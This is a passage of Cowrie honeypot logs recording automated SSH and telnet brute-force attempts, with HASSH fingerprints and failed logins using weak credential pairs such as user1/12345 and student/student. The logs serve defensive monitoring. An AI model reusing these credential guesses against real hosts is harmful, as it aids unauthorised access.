2-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:51.123147Z","src_ip":"192.109.200.78","session":"cb7682b8b59d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:51.389471Z","src_ip":"192.109.200.78","session":"cb7682b8b59d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:52.481200Z","src_ip":"192.109.200.78","session":"cb7682b8b59d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.131.72.138","src_port":60594,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cb439878fd8","protocol":"telnet","message":"New connection: 216.131.72.138:60594 (159.203.135.109:23) [session: 4cb439878fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:52.909430Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50082,"dst_ip":"10.17.0.5","dst_port":22,"session":"d406d7b7df85","protocol":"ssh","message":"New connection: 192.109.200.78:50082 (10.17.0.5:22) [session: d406d7b7df85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:55.114222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:55.118722Z","src_ip":"192.109.200.78","session":"d406d7b7df85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:55.200734Z","src_ip":"192.109.200.78","session":"d406d7b7df85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:55.457519Z","src_ip":"192.109.200.78","session":"d406d7b7df85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:56.542307Z","src_ip":"192.109.200.78","session":"d406d7b7df85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36432,"dst_ip":"10.17.0.5","dst_port":22,"session":"beb1628fccfa","protocol":"ssh","message":"New connection: 192.109.200.78:36432 (10.17.0.5:22) [session: beb1628fccfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:59.356683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:59.361411Z","src_ip":"192.109.200.78","session":"beb1628fccfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:59.443213Z","src_ip":"192.109.200.78","session":"beb1628fccfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:59.694912Z","src_ip":"192.109.200.78","session":"beb1628fccfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:00.783733Z","src_ip":"192.109.200.78","session":"beb1628fccfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36444,"dst_ip":"10.17.0.5","dst_port":22,"session":"957493665db2","protocol":"ssh","message":"New connection: 192.109.200.78:36444 (10.17.0.5:22) [session: 957493665db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:03.455849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:03.531891Z","src_ip":"192.109.200.78","session":"957493665db2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:03.563498Z","src_ip":"192.109.200.78","session":"957493665db2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:03.871308Z","src_ip":"192.109.200.78","session":"957493665db2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:04.956908Z","src_ip":"192.109.200.78","session":"957493665db2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36450,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7fcc684a3f8","protocol":"ssh","message":"New connection: 192.109.200.78:36450 (10.17.0.5:22) [session: a7fcc684a3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:07.653862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:07.658564Z","src_ip":"192.109.200.78","session":"a7fcc684a3f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:07.740445Z","src_ip":"192.109.200.78","session":"a7fcc684a3f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:07.991430Z","src_ip":"192.109.200.78","session":"a7fcc684a3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:09.359943Z","src_ip":"192.109.200.78","session":"a7fcc684a3f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50378,"dst_ip":"10.17.0.5","dst_port":22,"session":"95c482fb3f27","protocol":"ssh","message":"New connection: 192.109.200.78:50378 (10.17.0.5:22) [session: 95c482fb3f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:11.667073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:11.671424Z","src_ip":"192.109.200.78","session":"95c482fb3f27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:11.910597Z","src_ip":"192.109.200.78","session":"95c482fb3f27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:12.296338Z","src_ip":"192.109.200.78","session":"95c482fb3f27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:13.383542Z","src_ip":"192.109.200.78","session":"95c482fb3f27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50386,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d8db41832e2","protocol":"ssh","message":"New connection: 192.109.200.78:50386 (10.17.0.5:22) [session: 9d8db41832e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:15.920449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:15.925514Z","src_ip":"192.109.200.78","session":"9d8db41832e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:16.011198Z","src_ip":"192.109.200.78","session":"9d8db41832e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:16.265420Z","src_ip":"192.109.200.78","session":"9d8db41832e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:17.392122Z","src_ip":"192.109.200.78","session":"9d8db41832e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54096,"dst_ip":"10.17.0.5","dst_port":22,"session":"f68e91ce8c2a","protocol":"ssh","message":"New connection: 192.109.200.78:54096 (10.17.0.5:22) [session: f68e91ce8c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:20.022188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:20.036201Z","src_ip":"192.109.200.78","session":"f68e91ce8c2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:20.111184Z","src_ip":"192.109.200.78","session":"f68e91ce8c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:20.433172Z","src_ip":"192.109.200.78","session":"f68e91ce8c2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:21.520301Z","src_ip":"192.109.200.78","session":"f68e91ce8c2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55466,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fa1fec4dd72","protocol":"ssh","message":"New connection: 159.203.92.129:55466 (159.203.135.109:22) [session: 0fa1fec4dd72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:23.433326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:23.437470Z","src_ip":"159.203.92.129","session":"0fa1fec4dd72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 